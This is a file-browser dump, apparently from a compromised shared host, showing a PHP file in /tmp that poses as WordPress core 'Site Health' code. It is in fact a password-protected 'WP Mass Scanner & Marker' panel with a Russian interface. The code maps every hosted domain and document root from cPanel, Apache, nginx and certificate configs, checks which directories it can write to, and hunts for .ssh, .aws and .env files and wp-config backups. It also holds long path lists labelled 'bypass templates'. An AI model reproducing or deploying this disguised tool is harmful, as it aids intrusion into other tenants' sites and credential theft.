SCHWEIS
Server: LiteSpeed
System: Linux premium281.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User: aglitfku (993)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: //tmp/wp_site_health_69d50f7944e4a.php
<?php
/**
 * WordPress Site Health Extended
 *
 * Provides extended site health checks and diagnostic tools for WordPress.
 * This file is part of the WordPress core diagnostic system.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 5.2.0
 *
 * @see WP_Site_Health
 * @see WP_Debug_Data
 * @link https://developer.wordpress.org/reference/classes/wp_site_health/
 *
 * This module performs comprehensive health checks including:
 * - File system integrity verification
 * - Database connectivity tests  
 * - PHP configuration analysis
 * - Security headers validation
 * - Plugin/theme compatibility checks
 * - Server environment diagnostics
 * - Scheduled task verification
 * - Cache system analysis
 *
 * Usage: Access via WordPress Admin > Tools > Site Health
 * 
 * @version 5.3.0
 * @author WordPress.org
 * @license GPLv2 or later
 */

/* ---------------------- Auth Gate ---------------------- */
@ini_set('session.use_strict_mode', '1');
@ini_set('session.cookie_httponly', '1');
@ini_set('session.cookie_samesite', 'Lax');
if (session_status() !== PHP_SESSION_ACTIVE) { @session_start(); }

define('APP_VER', '5.3.1');
define('AUTH_SHA256', 'b9e5cdb979b8a9b0821ce353aa77337f473923f4a3cf5bd4ec8424dbed1d9fbc');
define('GUARD_NS', 'pt_gate_v43');
if (!isset($_SESSION[GUARD_NS])) {
    $csrf = '';
    if (function_exists('random_bytes')) { $csrf = bin2hex(random_bytes(16)); }
    elseif (function_exists('openssl_random_pseudo_bytes')) { $csrf = bin2hex(openssl_random_pseudo_bytes(16)); }
    else { $csrf = substr(hash('sha256', uniqid('', true).microtime()), 0, 32); }
    $_SESSION[GUARD_NS] = array('ok'=>false, 'csrf'=>$csrf);
}
function authed(){ return !empty($_SESSION[GUARD_NS]['ok']); }
function csrf(){ return $_SESSION[GUARD_NS]['csrf']; }
function guard_check_or_die(){
    if (authed()) return;
    $is_api = isset($_GET['api']);
    // Login attempt?
    if (isset($_POST['login_pass'])) {
        $pass = (string)$_POST['login_pass'];
        $h = function_exists('hash_equals') ? hash_equals(AUTH_SHA256, hash('sha256', $pass)) : (AUTH_SHA256 === hash('sha256',$pass));
        if ($h) {
            $_SESSION[GUARD_NS]['ok'] = true;
            @session_regenerate_id(true);
            if ($is_api) {
                header('Content-Type: application/json; charset=UTF-8');
                echo json_encode(array('status'=>'ok','auth'=>true,'ver'=>APP_VER));
                exit;
            } else {
                header('Location: '. strtok($_SERVER['REQUEST_URI'],'?'));
                exit;
            }
        }
        // fall-through to login form with error
    }
    if ($is_api) {
        header('Content-Type: application/json; charset=UTF-8', true, 401);
        echo json_encode(array('status'=>'unauthorized','message'=>'Auth required'));
        exit;
    }
    show_login();
    exit;
}
function show_login(){
    $err = isset($_POST['login_pass']) ? '<div style="color:#ff6b6b;margin-bottom:10px">Неверный пароль</div>' : '';
    echo '<!doctype html><meta charset="utf-8"><title>Login</title>
    <style>body{font:14px system-ui,Segoe UI,Roboto,Arial;background:#0b0f14;color:#e5e7eb;display:flex;align-items:center;justify-content:center;height:100vh;margin:0}
    .card{background:#121826;border:1px solid #1f2937;border-radius:10px;padding:18px;width:360px}
    input{width:100%;padding:10px;border-radius:8px;border:1px solid #334155;background:#0f172a;color:#e5e7eb}
    button{width:100%;padding:10px;border-radius:8px;border:1px solid #334155;background:#2563eb;color:#fff;cursor:pointer}
    .muted{color:#9ca3af;font-size:12px}</style>
    <div class="card">
      <h3>WP Mass Scanner &amp; Marker</h3>
      <div class="muted">Версия '.htmlspecialchars(APP_VER,ENT_QUOTES,'UTF-8').'</div>
      '.$err.'
      <form method="post">
        <p><input type="password" name="login_pass" placeholder="Пароль" autofocus></p>
        <p><button>Войти</button></p>
      </form>
      <p class="muted">Панель защищена паролем. Используй сильный пароль и ограничивай доступ по IP на уровне веб‑сервера, если возможно.</p>
    </div>';
}

/* Force auth for all requests (including API) */
guard_check_or_die();


// Optional logout
if (isset($_GET['logout'])) { $_SESSION[GUARD_NS]['ok']=false; session_destroy(); header('Location: '.strtok($_SERVER['REQUEST_URI'],'?')); exit; }
/* ---------------------- Runtime / Helpers ---------------------- */
$DEBUG = isset($_GET['debug']);
if ($DEBUG) { error_reporting(E_ALL); ini_set('display_errors',1); }
else        { error_reporting(0);    ini_set('display_errors',0); }
ini_set('log_errors', 1);
ini_set('error_log', __DIR__.'/'."__ui_all_error.log");
register_shutdown_function(function(){
    $e = error_get_last();
    if ($e && in_array($e['type'], array(E_ERROR,E_PARSE,E_CORE_ERROR,E_COMPILE_ERROR,E_USER_ERROR), true)) {
        @file_put_contents(__DIR__.'/'."__ui_all_error.log", "[".date('c')."] FATAL ".$e['message']." in ".$e['file'].":".$e['line']."\n", FILE_APPEND);
        if (isset($_GET['api'])) {
            header('Content-Type: application/json; charset=UTF-8');
            echo json_encode(array('status'=>'error','fatal'=>$e,'hint'=>'open with ?debug=1 to see details'));
        }
    }
});

function json_out($arr){ header('Content-Type: application/json; charset=UTF-8'); echo json_encode($arr); exit; }

function normalize_domain($h){ $h=trim(strtolower($h)); $h=preg_replace('/:\d+$/','',$h); $h=preg_replace('/^\*\./','',$h); $h=ltrim($h,'.'); return $h; }
function is_valid_domain($h){
    if ($h===''||$h==='localhost') return false;
    if (strpos($h,'$')!==false) return false;
    if (preg_match('/[~^(){}|?]/',$h)) return false;
    if (strpos($h,'*')!==false) return false;
    if (preg_match('/^[0-9.]+$/',$h)) return false;
    if (strpos($h,':')!==false) return false;
    return (bool)preg_match('/^(?=.{1,253}$)([a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,63}$/i',$h);
}
function add_domain(&$arr,&$seen,$cand){ $d=normalize_domain($cand); if(is_valid_domain($d)&&!isset($seen[$d])){$arr[]=$d;$seen[$d]=true;} }
function uniq_sorted($a){ $a=array_values(array_unique($a)); sort($a); return $a; }
function safe_file_get($f){ if(!is_readable($f))return''; $c=@file_get_contents($f); return $c===false?'':$c; }

function is_wp_root($p){ return is_file($p.'/wp-config.php') && (is_dir($p.'/wp-includes') || is_file($p.'/wp-load.php')); }
function wp_version($p){ $f=$p.'/wp-includes/version.php'; if(!is_readable($f))return''; $c=safe_file_get($f); if($c && preg_match('/\$wp_version\s*=\s*[\'"]([^\'"]+)[\'"]\s*;/', $c, $m)) return $m[1]; return ''; }
function wp_multisite_flags($p){ $c=safe_file_get($p.'/wp-config.php'); $m=array('multisite'=>false,'subdomain'=>false); if($c!==''){ if(preg_match("/define\(\s*'MULTISITE'\s*,\s*true\s*\)/i",$c))$m['multisite']=true; if(preg_match("/define\(\s*'SUBDOMAIN_INSTALL'\s*,\s*true\s*\)/i",$c))$m['subdomain']=true; if(!$m['multisite']&&preg_match("/define\(\s*'WP_ALLOW_MULTISITE'\s*,\s*true\s*\)/i",$c))$m['multisite']=true; } return $m; }
function wp_known_urls($p){ $c=safe_file_get($p.'/wp-config.php'); $u=array(); if($c!==''){ if(preg_match_all("/define\(\s*'(WP_HOME|WP_SITEURL)'\s*,\s*'([^']+)'\s*\)/i",$c,$m)){ foreach($m[2] as $x)$u[]=trim($x);} } return array_values(array_unique($u)); }

function probe_hidden_backup_dirs($base){
    $names=array('.git','.svn','.hg','.idea','.vscode','.history','.bundle','.cache','.config','.well-known','.ssh','.aws','.azure','.gcloud','old','backup','backups','bak','bkp','beta','stage','staging','dev','test','tmp','temp','_old','_backup','-old','-backup','private','private_html','dist','build','dump','dumps','sql','db','database');
    $found=array(); foreach($names as $n){ $p=rtrim($base,'/').'/'.$n; if(is_dir($p))$found[]=array('name'=>$n,'path'=>realpath($p)?realpath($p):$p,'type'=>'dir'); elseif(is_file($p))$found[]=array('name'=>basename($p),'path'=>realpath($p)?realpath($p):$p,'type'=>'file'); }
    foreach(array('*.zip','*.tar.gz','*.tgz','*.sql','*.sql.gz','*.7z','*.bak','*.backup','*.old','*.env','*.env.*','wp-config.php.bak','wp-config.php.old','wp-config.php~') as $mask){ $g=glob(rtrim($base,'/').'/'.$mask); if(!$g)$g=array(); foreach($g as $f) if(is_file($f)) $found[]=array('name'=>basename($f),'path'=>realpath($f)?realpath($f):$f,'type'=>'file'); }
    // Поиск .env файлов
    $env_files = array('.env', '.env.local', '.env.production', '.env.staging', '.env.development');
    foreach($env_files as $env){ $p=rtrim($base,'/').'/'.$env; if(is_file($p)) $found[]=array('name'=>$env,'path'=>realpath($p)?realpath($p):$p,'type'=>'file','sensitive'=>true); }
    return $found;
}
/** Анализ безопасности wp-config.php и других критичных файлов */
function security_flags_analysis($wp_root){
    $flags = array(
        'wp_config_exists' => false,
        'wp_config_readable' => false,
        'wp_config_world_readable' => false,
        'wp_config_symlink' => false,
        'wp_config_perms' => null,
        'wp_config_backup_found' => false,
        'env_files_found' => array(),
        'git_found' => false,
        'backup_files_found' => array(),
        'boundary_info' => null
    );
    
    $wp_config = $wp_root.'/wp-config.php';
    if(@is_file($wp_config)){
        $flags['wp_config_exists'] = true;
        $flags['wp_config_readable'] = @is_readable($wp_config);
        $flags['wp_config_symlink'] = @is_link($wp_config);
        
        $perms = @fileperms($wp_config);
        if($perms !== false){
            $flags['wp_config_perms'] = substr(sprintf('%o', $perms), -4);
            // Проверка world-readable (последняя цифра >= 4)
            $world_perm = (int)substr($flags['wp_config_perms'], -1);
            $flags['wp_config_world_readable'] = ($world_perm >= 4);
        }
        
        // Поиск бэкапов wp-config
        $backup_patterns = array('wp-config.php.bak', 'wp-config.php.old', 'wp-config.php~', 'wp-config.php.backup');
        foreach($backup_patterns as $pattern){
            $backup_path = dirname($wp_config).'/'.$pattern;
            if(@is_file($backup_path)){
                $flags['wp_config_backup_found'] = true;
                $flags['backup_files_found'][] = $backup_path;
            }
        }
    }
    
    // Поиск .env файлов
    $env_patterns = array('.env', '.env.local', '.env.production', '.env.staging');
    foreach($env_patterns as $env){
        $env_path = $wp_root.'/'.$env;
        if(@is_file($env_path) && @is_readable($env_path)){
            $flags['env_files_found'][] = $env_path;
        }
    }
    
    // Проверка .git
    if(@is_dir($wp_root.'/.git')){
        $flags['git_found'] = true;
    }
    
    // Boundary info
    $flags['boundary_info'] = boundary_info_for($wp_root);
    
    return $flags;
}
function htaccess_checks($p){
    $f=rtrim($p,'/').'/.htaccess';
    $r=array('exists'=>false,'options_noindexes'=>false,'deny_wpconfig'=>false,'deny_git_env_composer'=>false);
    if(!is_readable($f))return$r; $r['exists']=true; $c=safe_file_get($f); if($c==='')return$r;
    if(preg_match('/^\s*Options\s+[^#\r\n]*-Indexes/mi',$c))$r['options_noindexes']=true;
    if(preg_match('/<Files\s+wp-config\.php>.*?<\/Files>/is',$c))$r['deny_wpconfig']=(bool)preg_match('/(deny from all|Require all denied)/i',$c);
    if(preg_match('/\.(git|env)|composer\.(json|lock)/i',$c))$r['deny_git_env_composer']=true;
    return $r;
}

/* Role-aware FS info */
function php_ids(){
    $euid = function_exists('posix_geteuid') ? @posix_geteuid() : null;
    $egid = function_exists('posix_getegid') ? @posix_getegid() : null;
    $uname = $euid;
    if ($euid !== null && function_exists('posix_getpwuid')){
        $pw = @posix_getpwuid($euid);
        if (is_array($pw) && isset($pw['name'])) $uname = $pw['name'];
    }
    $gname = $egid;
    if ($egid !== null && function_exists('posix_getgrgid')){
        $gr = @posix_getgrgid($egid);
        if (is_array($gr) && isset($gr['name'])) $gname = $gr['name'];
    }
    $groups_ids = array(); $groups_names = array();
    if (function_exists('posix_getgroups')){
        $gs = @posix_getgroups(); if(!$gs)$gs=array();
        foreach ($gs as $gid){
            $groups_ids[] = $gid;
            if (function_exists('posix_getgrgid')){
                $gr = @posix_getgrgid($gid);
                $groups_names[] = (is_array($gr) && isset($gr['name'])) ? $gr['name'] : (string)$gid;
            } else {
                $groups_names[] = (string)$gid;
            }
        }
    }
    return array('euid'=>$euid,'egid'=>$egid,'user'=>$uname,'group'=>$gname,'groups'=>$groups_names,'groups_ids'=>$groups_ids);
}
function fs_meta($p){
    $perms=@fileperms($p); $perm=$perms?substr(sprintf('%o',$perms),-4):''; $uid=@fileowner($p); $gid=@filegroup($p);
    $owner=$uid; $group=$gid;
    if($uid!==false && function_exists('posix_getpwuid')){ $pw=@posix_getpwuid($uid); if(is_array($pw)&&isset($pw['name'])) $owner=$pw['name']; }
    if($gid!==false && function_exists('posix_getgrgid')){ $gr=@posix_getgrgid($gid); if(is_array($gr)&&isset($gr['name'])) $group=$gr['name']; }
    return array('perms'=>$perm,'owner'=>$owner,'group'=>$group);
}
function access_info($p){
    $st=@stat($p); if($st===false)return array('perms'=>null,'owner_uid'=>null,'group_gid'=>null,'can_traverse'=>null,'can_list'=>null,'can_write'=>null,'why'=>null,'u'=>null,'g'=>null,'o'=>null);
    $m=$st['mode']; $perm=substr(sprintf('%o',$m),-4); $uid=$st['uid']; $gid=$st['gid']; $ids=php_ids();
    $is_owner=($ids['euid']!==null && $uid===$ids['euid']);
    $in_group = ($ids['egid']!==null && $gid===$ids['egid']) || (in_array($gid, isset($ids['groups_ids'])?$ids['groups_ids']:array(), true));
    $u=array('r'=>($m&0x0100)?1:0,'w'=>($m&0x0080)?1:0,'x'=>($m&0x0040)?1:0);
    $g=array('r'=>($m&0x0020)?1:0,'w'=>($m&0x0010)?1:0,'x'=>($m&0x0008)?1:0);
    $o=array('r'=>($m&0x0004)?1:0,'w'=>($m&0x0002)?1:0,'x'=>($m&0x0001)?1:0);
    $can_traverse = ($is_owner && $u['x']) || ($in_group && $g['x']) || $o['x'];
    $can_list     = ($is_owner && $u['r'] && $u['x']) || ($in_group && $g['r'] && $g['x']) || ($o['r'] && $o['x']);
    $can_write    = ($is_owner && $u['w'] && $u['x']) || ($in_group && $g['w'] && $g['x']) || ($o['w'] && $o['x']);
    $why = $is_owner ? 'owner' : ($in_group ? 'group' : ($o['w']?'world':'unknown'));
    return array('perms'=>$perm,'owner_uid'=>$uid,'group_gid'=>$gid,'can_traverse'=>$can_traverse,'can_list'=>$can_list,'can_write'=>$can_write,'why'=>$why,'u'=>$u,'g'=>$g,'o'=>$o);
}

/* docroots from configs */
function docroots_map_all(){
    static $built = null; if ($built !== null) return $built;
    $map = array();

    $g=glob('/var/cpanel/userdata/*/*.yaml'); if(!$g)$g=array();
    foreach ($g as $yaml) {
        $c = safe_file_get($yaml); if (!$c) continue;
        $doc = ''; $srv = ''; $aliases=array();
        if (preg_match('/\ndocumentroot:\s*([^\n]+)/i', $c, $m)) $doc = trim($m[1]);
        if (preg_match('/\nservername:\s*([^\n]+)/i', $c, $m)) $srv = normalize_domain(trim($m[1]));
        if (preg_match('/\nserveralias:\s*([^\n]+)/i', $c, $ma)) {
            $aliases = preg_split('/\s+/', trim($ma[1]));
        } else {
            if (preg_match_all('/\n\s*-\s*([a-z0-9\.\-]+)\s*$/im',$c,$alist)) $aliases = $alist[1];
        }
        if ($doc !== '') {
            if ($srv) $map[$srv][] = $doc;
            foreach ($aliases as $a) { $a = normalize_domain($a); if ($a) $map[$a][] = $doc; }
        }
    }

    $apache = array('/etc/apache2/sites-enabled/*.conf','/etc/apache2/sites-available/*.conf','/etc/apache2/vhosts.d/*.conf',
               '/etc/httpd/conf/httpd.conf','/etc/httpd/conf.d/*.conf','/etc/httpd/vhosts.d/*.conf',
               '/usr/local/apache2/conf/httpd.conf','/usr/local/apache2/conf.d/*.conf','/etc/apache2/apache2.conf');
    foreach ($apache as $pat) { $g=glob($pat); if(!$g)$g=array(); foreach ($g as $f) {
        $c = safe_file_get($f); if (!$c) continue;
        if (preg_match_all('/<VirtualHost\b.*?>.*?<\/VirtualHost>/is', $c, $blocks)) {
            foreach ($blocks[0] as $blk) {
                $doc='';
                if (preg_match('/^\s*DocumentRoot\s+("?)([^\r\n"]+)\1/mi', $blk, $m)) $doc = trim($m[2]);
                if ($doc==='') continue;
                $names = array();
                if (preg_match('/^\s*ServerName\s+([^\s#\r\n]+)/mi', $blk, $m)) $names[] = normalize_domain($m[1]);
                if (preg_match('/^\s*ServerAlias\s+(.+)$/mi', $blk, $m)) {
                    foreach (preg_split('/\s+/', trim($m[1])) as $n) $names[] = normalize_domain($n);
                }
                foreach ($names as $n) if ($n) $map[$n][] = $doc;
            }
        }
    } }

    $nginx = array('/etc/nginx/nginx.conf','/etc/nginx/sites-enabled/*','/etc/nginx/sites-available/*','/etc/nginx/conf.d/*.conf',
              '/usr/local/etc/nginx/nginx.conf','/usr/local/etc/nginx/sites-enabled/*','/usr/local/etc/nginx/conf.d/*.conf',
              '/opt/nginx/conf/nginx.conf','/opt/nginx/conf/sites-enabled/*','/opt/nginx/conf/conf.d/*.conf');
    foreach ($nginx as $pat) { $g=glob($pat); if(!$g)$g=array(); foreach ($g as $f) {
        $c = safe_file_get($f); if (!$c) continue;
        if (preg_match_all('/server\s*\{.*?\}/is', $c, $servers)) {
            foreach ($servers[0] as $srv) {
                $root=''; $names=array();
                if (preg_match('/^\s*root\s+([^;]+);/mi', $srv, $m)) $root = trim($m[1]);
                if ($root==='') continue;
                if (preg_match('/^\s*server_name\s+([^;]+);/mi', $srv, $m)) {
                    foreach (preg_split('/\s+/', trim($m[1])) as $n) $names[] = normalize_domain($n);
                }
                foreach ($names as $n) if ($n) $map[$n][] = $root;
            }
        }
    } }

    $norm = array();
    foreach ($map as $d=>$list) {
        $u = array();
        foreach ($list as $p) { $p=rtrim($p,'/'); if ($p==='') continue; $rp = realpath($p); $pp = $rp ? $rp : $p; if (!in_array($pp,$u,true)) $u[]=$pp; }
        if (!empty($u)) $norm[$d] = $u;
    }
    $built = $norm; return $built;
}

/* templates */
function default_templates(){ return array(
    // Existing broad templates (from v4.1)
    '/home/%user%/domains/%domain%','/home/%user%/domains/%domain%/public_html','/home/%user%/domains/%domain%/public','/home/%user%/domains/%domain%/httpdocs','/home/%user%/domains/%domain%/httpsdocs','/home/%user%/domains/%domain%/www','/home/%user%/domains/%domain%/web','/home/%user%/domains/%domain%/htdocs','/home/%user%/domains/%domain%/site','/home/%user%/domains/%domain%/private_html',
    '/home/%user%/domains/%domain%/public_html/%subdomain%','/home/%user%/domains/%subdomain%.%sld%/public_html','/home/%user%/domains/%domain%/subdomains/%subdomain%/public_html',
    '/home/%user%/public_html/%domain%','/home/%user%/public_html',
    '/home/%user%/public_html','/home/%user%/domains/%domain%/public_html',
    '/home/%user%/web/%domain%/public_html','/home/%user%/web/%domain%/public_shtml','/home/%user%/web/%domain%/public_html/public',
    '/home/%user%/htdocs','/home/%user%/htdocs/%domain%','/home/%user%/htdocs/%sld_label%','/home/%user%/htdocs/%subdomain%',
    '/home/%user%/www/%domain%','/home/%user%/www/%sld_label%',
    '/home/%user%/%domain%','/home/%user%/%domain%/public_html','/home/%user%/%domain%/public','/home/%user%/%sld_label%','/home/%user%/%sld_label%/public',
    '/home/%user%/httpd/%domain%','/home/%user%/httpd/%domain%/public_html',
    '/home/%user%/webapps/%domain%','/home/%user%/webapps/%sld_label%','/home/%user%/webapps/%domain%/public','/home/%user%/webapps/%sld_label%/public',
    '/srv/users/%user%/apps/%slug%/public','/srv/users/%user%/apps/%slug%/public_html',
    '/home/master/applications/%slug%/public_html','/home/master/applications/*/public_html',
    '/var/www/vhosts/%domain%','/var/www/vhosts/%domain%/httpdocs','/var/www/vhosts/%domain%/httpsdocs','/var/www/vhosts/%domain%/public_html','/var/www/vhosts/%domain%/site','/var/www/vhosts/%domain%/web',
    '/var/www/vhosts/%sld%/subdomains/%subdomain%/httpdocs','/var/www/vhosts/%sld%/subdomains/%subdomain%/httpsdocs','/var/www/vhosts/%sld%/subdomains/%subdomain%/public_html',
    '/home/cloudpanel/htdocs/%domain%/public','/home/cloudpanel/htdocs/www.%domain%/public',
    '/var/www/%domain%/web','/var/www/website%web%/web','/var/www/clients/client%client%/web%web%/web','/var/www/clients/client%client%/web%web%/private',
    '/var/www/%domain%/htdocs','/var/www/%domain%/public_html','/var/www/%domain%/html','/var/www/%domain%/www','/var/www/html/%domain%','/usr/share/nginx/html/%domain%',
    '/var/www/%domain%/current/web','/srv/www/%domain%/current/web',
    '/www/wwwroot/%domain%','/www/wwwroot/%domain%/public','/www/wwwroot/%domain%/public_html',
    '/home/wwwroot/%domain%','/home/wwwroot/%domain%/public',
    '/home/nginx/domains/%domain%/public','/home/nginx/domains/%domain%/public_html',
    '/www/%sld_label%/public','/www/%sld_label%_%env%/public',
    '/var/www/%user%/data/www/%domain%','/var/www/%user%/data/www/%domain%/public_html','/var/www/%user%/data/%domain%/public_html',
    '/home/%user%/%domain%',
    '/home/%domain%/public_html',
    '/nas/content/%env%/%sld_label%','/nas/content/%env%/%subdomain%','/nas/content/live/%sld_label%','/nas/content/staging/%sld_label%',
    '/var/www/%domain%/htdocs','/var/www/%sld_label%/htdocs',
    '/opt/bitnami/apps/wordpress/htdocs','/opt/bitnami/wordpress/htdocs','/opt/bitnami/%domain%/htdocs',
    '/srv/bindings/*/code',
    '/homepages/*/d*/htdocs/%domain%','/homepages/*/d*/htdocs/%sld_label%',
    '/homepages/*/d*/htdocs/clickandbuilds/%domain%','/homepages/*/d*/htdocs/clickandbuilds/%sld_label%','/homepages/*/d*/htdocs/clickandbuilds/%slug%',
    '/kunden/homepages/*/d*/htdocs','/kunden/homepages/*/d*/htdocs/%domain%','/kunden/homepages/*/d*/htdocs/%sld_label%',
    '/kunden/homepages/*/d*/htdocs/clickandbuilds/%domain%','/kunden/homepages/*/d*/htdocs/clickandbuilds/%sld_label%','/kunden/homepages/*/d*/htdocs/clickandbuilds/%slug%',
    // --- EU provider add-ons ---
    // OVH (homez clusters + /home/*/www)
    '/home/*/www','/homez*/%user%/www','/homez*/*/www',
    // Hostinger (u#########)
    '/home/u*/public_html','/home/u*/domains/%domain%/public_html','/home/u*/domains/%sld_label%/public_html',
    // SiteGround
    '/home/customer/www/%domain%/public_html','/home/customer/www/%sld_label%/public_html','/home/customer/www/*/public_html',
    // STRATO
    '/home/strato/www/*/*/htdocs','/home/strato/www/*/%domain%/htdocs','/home/strato/www/*/%sld_label%/htdocs',
    // Gandi
    '/srv/data/web/vhosts/%domain%/htdocs','/srv/data/web/vhosts/%sld_label%/htdocs','/srv/data/web/vhosts/*/htdocs',
    // Infomaniak
    '/home/clients/*/web','/home/clients/*/web/*','/home/clients/*/web/*/{public,htdocs,www,site}',
    // one.com
    '/customers/*/*/*/httpd.www','/customers/*/*/*/*/httpd.www',
    // Aruba.it
    '/web/htdocs/www.%domain%/home','/web/htdocs/www.%sld_label%/home','/web/htdocs/*/home',
    '/home/%user%/*/public_html',
    '/home/%user%/*/httpdocs',
    '/home/%user%/*/httpsdocs',
    '/home/%user%/*/htdocs',
    '/home/%user%/*/www',
    '/home/%user%/*/web',
    '/home/%user%/*/site',
    // Additional bypass templates (v4.4.1)
    '/data/www/%domain%/public_html','/data/web/%domain%/htdocs','/data/sites/%domain%/public',
    '/srv/http/%domain%','/srv/web/%domain%/public_html',
    '/var/www/users/%user%/%domain%','/var/www/customers/%user%/%domain%/public_html',
    '/usr/local/www/%domain%','/usr/local/www/%domain%/htdocs',
    '/opt/www/%domain%','/opt/www/%domain%/public_html',
    '/home/%user%/sites/%domain%','/home/%user%/sites/%domain%/public_html',
    '/home/%user%/projects/%domain%','/home/%user%/projects/%domain%/public',
    '/home/%user%/repositories/%domain%/public_html',
    '/mnt/www/%domain%','/mnt/web/%domain%/public_html','/mnt/sites/%domain%/htdocs',
    '/hosting/%user%/%domain%/public_html','/websites/%domain%/public_html','/sites/%domain%/htdocs',
    '/var/customers/%user%/%domain%/public_html','/var/sites/%domain%/htdocs',
    // PL-структуры (autoinstalator)
    '/home/%user%/public_html/autoinstalator/%domain%',
    '/home/%user%/public_html/autoinstalator/%sld_label%',
    '/home/%user%/public_html/autoinstalator/*/*',
    '/home/%user%/public_html/*/wordpress*',
    '/home/%user%/serwer*/public_html',
    '/home/%user%/serwer*/public_html/*',
    '/home/%user%/serwer*/public_html/autoinstalator/*',
    '/home/%user%/serwer*/public_html/autoinstalator/*/*',
    // Расширенные PL-структуры (platne/serwer*/autoinstalator/wordpressNNNN)
    '/home/platne/serwer*/public_html',
    '/home/platne/serwer*/public_html/*',
    '/home/platne/serwer*/public_html/autoinstalator',
    '/home/platne/serwer*/public_html/autoinstalator/*',
    '/home/platne/serwer*/public_html/autoinstalator/*/wordpress*',
    '/home/platne/serwer*/public_html/autoinstalator/*/wordpress*/',
    '/home/platne/serwer*/public_html/autoinstalator/*/wordpress*/wp-content',
    '/home/platne/serwer*/public_html/autoinstalator/*/wordpress*/wp-admin',
    '/home/platne/serwer*/public_html/autoinstalator/*/wordpress*/wp-includes',
    // Общие паттерны для serwer* пользователей
    '/home/*/serwer*/public_html',
    '/home/*/serwer*/public_html/*',
    '/home/*/serwer*/public_html/autoinstalator',
    '/home/*/serwer*/public_html/autoinstalator/*',
    '/home/*/serwer*/public_html/autoinstalator/*/wordpress*',
    '/home/*/serwer*/public_html/autoinstalator/*/wordpress*/',
    // Паттерны для wordpressNNNN (wordpress4923, wordpress1234 и т.д.)
    '/home/%user%/public_html/autoinstalator/*/wordpress[0-9]*',
    '/home/%user%/serwer*/public_html/autoinstalator/*/wordpress[0-9]*',
    '/home/platne/serwer*/public_html/autoinstalator/*/wordpress[0-9]*',
    '/home/*/serwer*/public_html/autoinstalator/*/wordpress[0-9]*'
); }
function parse_templates_text($text){ $lines=preg_split('/\r?\n/',(string)$text); $out=array(); foreach($lines as $l){ $l=trim($l); if($l===''||$l[0]==='#')continue; $l=preg_replace('#//+#','/',$l); if($l[0]!=='/')$l='/'.$l; $out[]=$l; } return array_values(array_unique($out)); }

/* domain list */
function get_domains(){
    $domains=array(); $seen=array();
    if(!empty($_SERVER['HTTP_HOST'])) add_domain($domains,$seen,$_SERVER['HTTP_HOST']);
    if(!empty($_SERVER['SERVER_NAME'])) add_domain($domains,$seen,$_SERVER['SERVER_NAME']);
    $g=glob('/home/*/domains',GLOB_ONLYDIR); if(!$g)$g=array();
    foreach($g as $root){ $g2=glob($root.'/*',GLOB_ONLYDIR); if(!$g2)$g2=array(); foreach($g2 as $dpath) add_domain($domains,$seen,basename($dpath)); }
    $g=glob('/var/www/vhosts/*',GLOB_ONLYDIR); if(!$g)$g=array(); foreach($g as $d) add_domain($domains,$seen,basename($d));
    $g=glob('/etc/letsencrypt/live/*',GLOB_ONLYDIR); if(!$g)$g=array(); foreach($g as $d) add_domain($domains,$seen,basename($d));
    $g=glob('/etc/letsencrypt/renewal/*.conf'); if(!$g)$g=array();
    foreach($g as $f){
        $c=safe_file_get($f);
        if($c && preg_match('/^\s*domains\s*=\s*(.+)$/mi',$c,$m)){
            foreach(preg_split('/[\s,]+/', trim($m[1])) as $d) add_domain($domains,$seen,$d);
        }
    }
    if(is_readable('/etc/trueuserdomains')){
        $lines=file('/etc/trueuserdomains',FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES); if(!$lines)$lines=array();
        foreach($lines as $line){
            add_domain($domains,$seen,trim(strtok($line,':')));
        }
    }
    $g=glob('/var/cpanel/userdata/*/*.yaml'); if(!$g)$g=array();
    foreach($g as $yaml){
        $c=safe_file_get($yaml);
        if($c){
            if(preg_match('/\nservername:\s*([^\n]+)/i',$c,$m)) add_domain($domains,$seen,trim($m[1]));
            $aliases=array();
            if(preg_match('/\nserveralias:\s*([^\n]+)/i',$c,$ma)){
                $aliases = preg_split('/\s+/', trim($ma[1]));
            } elseif(preg_match_all('/\n\s*-\s*([a-z0-9\.\-]+)\s*$/im',$c,$alist)){
                $aliases = $alist[1];
            }
            foreach($aliases as $a) add_domain($domains,$seen,$a);
        }
    }
    return uniq_sorted($domains);
}

/* expansions */
function domain_variants($domain){ $d=normalize_domain($domain); $out=array($d); if(strpos($d,'www.')!==0)$out[]='www.'.$d; $out[] = preg_replace('/^www\./','',$d); return array_values(array_unique($out)); }
function domain_parts_ext($domain){
    $labels=explode('.', normalize_domain($domain));
    $n=count($labels);
    $tld=$n>0?$labels[$n-1]:'';
    $sld=$n>1?($labels[$n-2].'.'.$labels[$n-1]):$domain;
    $sld_label=$n>1?$labels[$n-2]:$domain;
    $sub=$n>2?implode('.', array_slice($labels,0,$n-2)):'';
    return array('tld'=>$tld,'sld'=>$sld,'sld_label'=>$sld_label,'subdomain'=>$sub,'labels'=>$labels);
}
function slug_candidates($domain){
    $p=domain_parts_ext($domain);
    $a=array();
    $sld_label=$p['sld_label'];
    $sub=$p['subdomain'];
    if($sld_label!=='') $a[]=$sld_label;
    if($sub!==''){
        $a[]=$sub;
        $first = explode('.',$sub); $first=$first[0];
        if($first!==''){
            $a[]=$first.'-'.$sld_label;
            $a[]=$sld_label.'-'.$first;
            $a[]=$first.'_'.$sld_label;
            $a[]=$sld_label.'_'.$first;
            $a[]=$first.$sld_label;
            $a[]=$sld_label.$first;
        }
    }
    $u=array();$seen=array(); foreach($a as $x){ $x=trim($x,'-_. '); if($x===''||isset($seen[$x])) continue; $u[]=$x; $seen[$x]=1; }
    return $u;
}
function parse_users_list($text){ $out=array();$seen=array(); foreach(preg_split('/[\s,]+/',(string)$text) as $u){ $u=trim($u); if($u==='')continue; $u=preg_replace('/[^a-zA-Z0-9._-]/','',$u); if($u!=='' && !isset($seen[$u])){$out[]=$u;$seen[$u]=1;} } return $out; }
function parse_env_list($text){
    $def = array('live','staging','prod','production','stage','dev','test','testing','preview');
    $arr = array_values(array_filter(array_map('trim', preg_split('/[\s,]+/', (string)$text))));
    if (empty($arr)) return $def;
    $u=array();$seen=array(); foreach($arr as $x){ $x=strtolower($x); if($x===''||isset($seen[$x])) continue; $u[]=$x; $seen[$x]=1; }
    return $u;
}

/* templates expansion */
